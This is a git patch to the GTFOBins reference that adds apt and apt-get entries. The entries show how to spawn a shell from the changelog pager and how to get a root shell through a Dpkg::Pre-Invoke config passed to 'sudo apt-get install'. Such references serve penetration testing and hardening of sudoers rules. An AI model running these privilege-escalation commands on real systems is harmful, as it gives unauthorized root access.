From 736f3482d3409b59ef5a4b4492080e3797331e9c Mon Sep 17 00:00:00 2001 From: HugoDelval Date: Thu, 29 Nov 2018 12:27:41 +0100 Subject: [PATCH] Add apt(-get) entries --- _gtfobins/apt-get.md | 11 ++++++++--- _gtfobins/apt.md | 11 ++++++++--- 2 files changed, 16 insertions(+), 6 deletions(-) diff --git a/_gtfobins/apt-get.md b/_gtfobins/apt-get.md index c4b035d..92519c6 100644 --- a/_gtfobins/apt-get.md +++ b/_gtfobins/apt-get.md @@ -1,12 +1,17 @@ --- -description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. functions: shell: - - code: | + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | apt-get changelog apt !/bin/sh sudo: - - code: | + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | sudo apt-get changelog apt !/bin/sh + - description: 'Sometimes, only some subcommands of `apt-get` are enabled by sysadmin in the sudoers file. When only `apt-get install *` is allowed, you can use:' + code: | + echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf + sudo apt-get install -c ./test.conf sl --- diff --git a/_gtfobins/apt.md b/_gtfobins/apt.md index c4b035d..823b523 100644 --- a/_gtfobins/apt.md +++ b/_gtfobins/apt.md @@ -1,12 +1,17 @@ --- -description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. functions: shell: - - code: | + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | apt-get changelog apt !/bin/sh sudo: - - code: | + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | sudo apt-get changelog apt !/bin/sh + - description: 'Sometimes, only some subcommands of `apt` are enabled by sysadmin in the sudoers file. When only `apt install *` is allowed, you can use:' + code: | + echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf + sudo apt install -c ./test.conf sl ---